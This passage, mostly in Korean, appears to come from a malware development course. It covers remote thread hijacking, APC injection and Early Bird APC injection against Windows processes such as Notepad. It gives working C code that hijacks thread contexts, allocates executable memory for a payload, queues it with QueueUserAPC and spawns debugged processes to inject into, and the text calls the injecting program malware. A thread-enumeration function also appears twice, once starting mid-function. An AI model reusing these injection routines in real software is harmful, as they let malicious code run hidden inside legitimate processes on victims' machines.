	// Takes a snapshot of the currently running processes's threads
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// Retrieves information about the first thread encountered in the snapshot.
	if (!Thread32First(hSnapShot, &Thr)) {
		printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	do {
		// If the thread's PID is equal to the PID of the target process then
		// this thread is running under the target process
		if (Thr.th32OwnerProcessID == dwProcessId){

			*dwThreadId  = Thr.th32ThreadID;
			*hThread     = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);

			if (*hThread == NULL)
				printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());

			break;
		}

	// While there are threads remaining in the snapshot
	} while (Thread32Next(hSnapShot, &Thr));


_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	if (*dwThreadId == NULL || *hThread == NULL)
		return FALSE;
	return TRUE;
}BOOL GetRemoteThreadhandle(IN DWORD dwProcessId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {

	HANDLE         hSnapShot  = NULL;
	THREADENTRY32  Thr        = {
		.dwSize = sizeof(THREADENTRY32)
	};

	// Takes a snapshot of the currently running processes's threads
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE) {
		printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// Retrieves information about the first thread encountered in the snapshot.
	if (!Thread32First(hSnapShot, &Thr)) {
		printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	do {
		// If the thread's PID is equal to the PID of the target process then
		// this thread is running under the target process
		if (Thr.th32OwnerProcessID == dwProcessId){

			*dwThreadId  = Thr.th32ThreadID;
			*hThread     = OpenThread(THREAD_ALL_ACCESS, FALSE, Thr.th32ThreadID);

			if (*hThread == NULL)
				printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());

			break;
		}

	// While there are threads remaining in the snapshot
	} while (Thread32Next(hSnapShot, &Thr));


_EndOfFunction:
	if (hSnapShot != NULL)
		CloseHandle(hSnapShot);
	if (*dwThreadId == NULL || *hThread == NULL)
		return FALSE;
	return TRUE;
}

원격 스레드 하이재킹 기능

이 부분은 이전 모듈에서 보았던 하이재킹 함수와 유사합니다. 원격 프로세스 핸들을 검색하고 페이로드를 원격 프로세스에 주입한 다음 마지막으로 스레드를 하이재킹합니다.

BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) {

	CONTEXT ThreadCtx = {
		.ContextFlags = CONTEXT_ALL
	};

	// Suspend the thread
	SuspendThread(hThread);

	if (!GetThreadContext(hThread, &ThreadCtx)) {
		printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	ThreadCtx.Rip = pAddress;

	if (!SetThreadContext(hThread, &ThreadCtx)) {
		printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("\t[#] Press <Enter> To Run ... ");
	getchar();

	ResumeThread(hThread);

	WaitForSingleObject(hThread, INFINITE);

	return TRUE;
}

데모

대상 프로세스의 PID를 가져옵니다. 이 경우 대상 프로세스는 Notepad.exe입니다.

페이로드를 주입하고 스레드 ID 7136을 하이재킹합니다. 스레드 스택은 페이로드의 주소가 다음에 실행될 작업임을 보여줍니다.

마지막으로 페이로드가 실행됩니다.


39. APC 주입

APC 주입

소개

이 모듈에서는 새 스레드를 만들지 않고 페이로드를 실행하는 또 다른 방법을 소개합니다. 이 기술을 APC 인젝션이라고 합니다.

APC란 무엇인가요?

비동기 프로시저 호출은 프로그램이 다른 작업을 계속 실행하면서 작업을 비동기적으로 실행할 수 있도록 하는 Windows 운영 체제 메커니즘입니다. APC는 특정 스레드의 컨텍스트에서 실행되는 커널 모드 루틴으로 구현됩니다. 멀웨어는 APC를 활용하여 페이로드를 대기열에 넣은 다음 예약된 시간에 실행되도록 할 수 있습니다.

경고 가능 상태

모든 스레드가 대기 중인 APC 함수를 실행할 수 있는 것은 아니며, 알림 가능 상태의 스레드만 실행할 수 있습니다. 알림 가능 상태 스레드는 대기 상태에 있는 스레드입니다. 스레드가 알림 가능 상태가 되면 알림 가능 스레드 대기열에 배치되어 대기 중인 APC 함수를 실행할 수 있습니다.

APC 인젝션이란 무엇인가요?

APC 함수를 스레드에 대기열에 넣으려면 APC 함수의 주소를 QueueUserAPC WinAPI에 전달해야 합니다. Microsoft의 설명서에 따르면

애플리케이션은 QueueUserAPC 함수를 호출하여 APC를 스레드에 큐에 대기시킵니다. 호출하는 스레드는 QueueUserAPC 호출에서 APC 함수의 주소를 지정합니다.

삽입된 페이로드의 주소는 실행을 위해 QueueUserAPC로 전달됩니다. 이 작업을 수행하기 전에 로컬 프로세스의 스레드를 경고 가능 상태로 설정해야 합니다.

QueueUserAPC

아래와 같이 3개의 인수를 받을 수 있습니다:

  • pfnAPC – 호출할 APC 함수의 주소입니다.
  • hThread – 알림 가능한 스레드 또는 일시 중단된 스레드에 대한 핸들입니다.
  • dwData – APC 함수에 매개변수가 필요한 경우 여기에 전달할 수 있습니다. 이 모듈의 코드에서 이 값은 NULL이 됩니다.
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

스레드를 알림 가능 상태로 설정하기

대기 중인 함수를 실행할 스레드는 알림 가능 상태여야 합니다. 이 작업은 스레드를 만들고 다음 WinAPI 중 하나를 사용하여 수행할 수 있습니다:

이러한 함수는 스레드를 동기화하고 애플리케이션의 성능과 응답성을 개선하는 데 사용되지만, 이 경우 더미 이벤트에 핸들을 전달하는 것으로 충분합니다. 이러한 함수는 단순히 함수 중 하나를 사용하는 것만으로도 스레드를 알림 가능 상태로 만들 수 있으므로 올바른 매개 변수를 전달할 필요는 없습니다.

더미 이벤트를 생성하기 위해 CreateEvent WinAPI가 사용됩니다. 새로 생성된 이벤트 객체는 스레드가 이벤트에 신호를 보내고 대기함으로써 서로 통신할 수 있도록 하는 동기화 객체입니다. CreateEvent의 출력은 관련이 없으므로 유효한 이벤트는 모두 이전에 표시된 WinAPI로 전달할 수 있습니다.

함수 사용

다음 함수는 대기 중인 APC 페이로드를 실행하기 위한 희생 알림 가능 스레드로 사용할 수 있습니다. 함수를 사용하여 현재 스레드를 알림 가능 상태로 설정하는 방법에 대한 예는 아래를 참조하세요.

절전 모드 사용

VOID AlertableFunction1() {

	Sleep(-1);
}

SleepEx사용

VOID AlertableFunction2() {

	SleepEx(INFINITE, TRUE);
}

WaitForSingleObject사용

VOID AlertableFunction3() {

	HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
	if (hEvent){
		WaitForSingleObject(hEvent, INFINITE);
		CloseHandle(hEvent);
	}
}

MsgWaitForMultipleObjects사용

VOID AlertableFunction4() {

	HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
	if (hEvent) {
		MsgWaitForMultipleObjects(1, &hEvent, TRUE, INFINITE, QS_INPUT);
		CloseHandle(hEvent);
	}
}

SignalObjectAndWait사용

VOID AlertableFunction5() {

	HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
	HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);

	if (hEvent1 && hEvent2) {
		SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
		CloseHandle(hEvent1);
		CloseHandle(hEvent2);
	}
}

일시 중단된 스레드

대상 스레드가 일시 중단된 상태로 생성된 경우에도 QueueUserAPC가 성공할 수 있습니다. 이 메서드를 사용하여 페이로드를 실행하는 경우, QueueUserAPC를 먼저 호출한 다음 일시 중단된 스레드를 다시 시작해야 합니다. 다시 말하지만, 스레드는 일시 중단된 상태에서 생성되어야 하며 기존 스레드를 일시 중단하면 작동하지 않습니다.

이 모듈에서 공유한 코드는 알림 가능 및 일시 중단된 스레드를 통한 APC 주입을 보여줍니다.

APC 인젝션 구현 로직

요약하자면, 구현 로직은 다음과 같습니다:

  1. 먼저 앞서 언급한 함수 중 하나를 실행하는 스레드를 만들어 알림 가능 상태로 설정합니다.
  2. 페이로드를 메모리에 주입합니다.
  3. 스레드 핸들과 페이로드 기본 주소는 입력 파라미터로 QueueUserAPC에 전달됩니다.

APC 주입 기능

RunViaApcInjection은 APC 주입을 수행하는 함수이며 3개의 인수가 필요합니다:

  • hThread – 알림 가능 또는 일시 중단된 스레드에 대한 핸들입니다.
  • p페이로드 – 페이로드의 기본 주소에 대한 포인터입니다.
  • sPayloadSize – 페이로드의 크기입니다.
BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

	PVOID pAddress = NULL;
	DWORD dwOldProtection = NULL;


	pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pAddress == NULL) {
		printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	memcpy(pAddress, pPayload, sPayloadSize);


	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// If hThread is in an alertable state, QueueUserAPC will run the payload directly
	// If hThread is in a suspended state, the payload won't be executed unless the thread is resumed after
	if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
		printf("\t[!] QueueUserAPC Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}

데모 – 알림 가능한 스레드를 사용한 APC 주입

데모 – 일시 중단된 스레드를 사용한 APC 주입


40. 얼리버드 APC 주입

얼리버드 APC 주입

소개

이전 모듈에서는 로컬 APC 인젝션을 수행하기 위해 QueueUserAPC를 사용했습니다. 이 모듈에서는 동일한 API를 사용하여 원격 프로세스에서 페이로드를 실행합니다. 접근 방식은 약간 다르지만 사용되는 방법은 동일합니다.

이제 APC 인젝션이 페이로드를 성공적으로 실행하려면 일시 중단된 스레드 또는 경고 가능한 스레드가 필요하다는 사실을 잘 알고 계실 것입니다. 그러나 이러한 상태의 스레드, 특히 정상적인 사용자 권한으로 작동하는 스레드를 발견하기는 어렵습니다.

이에 대한 해결책은 CreateProcess WinAPI를 사용하여 일시 중단된 프로세스를 만들고 해당 일시 중단된 스레드에 대한 핸들을 사용하는 것입니다. 일시 중단된 스레드는 APC 주입에 사용할 수 있는 기준을 충족합니다. 이 방법을 얼리버드 APC 인젝션이라고 합니다.

얼리버드 구현 로직 (1)

이 기술의 구현 로직은 다음과 같습니다:

  1. CREATE_SUSPENDED 플래그를 사용하여 일시 중단된 프로세스를 만듭니다.
  2. 새 대상 프로세스의 주소 공간에 페이로드를 씁니다.
  3. 페이로드의 기본 주소와 함께 CreateProcess에서 일시 중단된 스레드의 핸들을 가져와서 QueueUserAPC에 전달합니다.
  4. ResumeThread WinAPI를 사용하여 스레드를 재개하여 페이로드를 실행합니다.

얼리버드 구현 로직 (2)

이전 섹션에서 설명한 구현 로직은 간단합니다. 이 섹션에서는 얼리버드 APC 인젝션을 구현하는 다른 방법을 소개합니다.

CreateProcess는 계속 사용되지만 프로세스 생성 플래그가 CREATE_SUSPENDED에서 DEBUG_PROCESS로 변경됩니다. DEBUG_PROCESS 플래그는 새 프로세스를 디버깅된 프로세스로 생성하고 로컬 프로세스를 디버거로 만듭니다. 프로세스가 디버깅된 프로세스로 생성되면 해당 진입점에 중단점이 배치됩니다. 이렇게 하면 프로세스가 일시 중지되고 디버거(즉, 멀웨어)가 실행을 재개할 때까지 기다립니다.

이 경우, 페이로드가 대상 프로세스에 주입되어 QueueUserAPC WinAPI를 사용하여 실행됩니다. 페이로드가 주입되고 원격 디버깅 스레드가 페이로드를 실행하기 위해 대기열에 추가되면, 원격 프로세스의 디버깅을 중지하는 DebugActiveProcessStop WinAPI를 사용하여 로컬 프로세스를 대상 프로세스로부터 분리할 수 있습니다.

DebugActiveProcessStop에는 CreateProcess에 의해 채워진 PROCESS_INFORMATION 구조에서 가져올 수 있는 디버깅된 프로세스의 PID인 매개변수가 하나만 필요합니다.

업데이트된 구현 로직

업데이트된 구현은 다음과 같습니다:

  1. 디버그 프로세스 플래그를 설정하여 디버깅된 프로세스를 생성합니다.
  2. 새 대상 프로세스의 주소 공간에 페이로드를 씁니다.
  3. 페이로드의 기본 주소와 함께 CreateProcess에서 디버깅된 스레드의 핸들을 가져와서 QueueUserAPC에 전달합니다.
  4. 스레드를 다시 시작하고 페이로드를 실행하는 DebugActiveProcessStop을 사용하여 원격 프로세스의 디버깅을 중지합니다.

얼리버드 APC 주입 기능

CreateSuspendedProcess2는 얼리버드 APC 주입을 수행하는 함수이며 4개의 인수가 필요합니다:

  • lpProcessName – 생성할 프로세스의 이름입니다.
  • dwProcessId – 새로 생성된 프로세스의 PID를 수신할 DWORD에 대한 포인터입니다.
  • hProcess – 새로 생성된 프로세스의 핸들을 받을 핸들을 가리키는 포인터입니다.
  • hThread – 새로 생성된 프로세스의 스레드를 수신할 핸들에 대한 포인터입니다.
BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {

	CHAR lpPath   [MAX_PATH * 2];
	CHAR WnDr     [MAX_PATH];

	STARTUPINFO            Si    = { 0 };
	PROCESS_INFORMATION    Pi    = { 0 };

	// Cleaning the structs by setting the element values to 0
	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// Setting the size of the structure
	Si.cb = sizeof(STARTUPINFO);

	// Getting the %WINDIR% environment variable path (That is generally 'C:\Windows')
	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// Creating the target process path
	sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
	printf("\n\t[i] Running : \"%s\" ... ", lpPath);

	// Creating the process
	if (!CreateProcessA(
		NULL,
		lpPath,
		NULL,
		NULL,
		FALSE,
		DEBUG_PROCESS,		// Instead of CREATE_SUSPENDED
		NULL,
		NULL,
		&Si,
		&Pi)) {
		printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
		return FALSE;
	}

	printf("[+] DONE \n");

	// Filling up the OUTPUT parameter with CreateProcessA's output
	*dwProcessId        = Pi.dwProcessId;
	*hProcess           = Pi.hProcess;
	*hThread            = Pi.hThread;

	// Doing a check to verify we got everything we need
	if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
		return TRUE;

	return FALSE;
}

데모

아래 이미지는 새로 생성된 대상 프로세스를 디버그 상태로 보여줍니다. 디버깅된 프로세스는 Process Hacker에서 보라색으로 강조 표시됩니다.

다음으로 페이로드가 대상 프로세스에 기록됩니다.

마지막으로 페이로드가 실행됩니다.

Share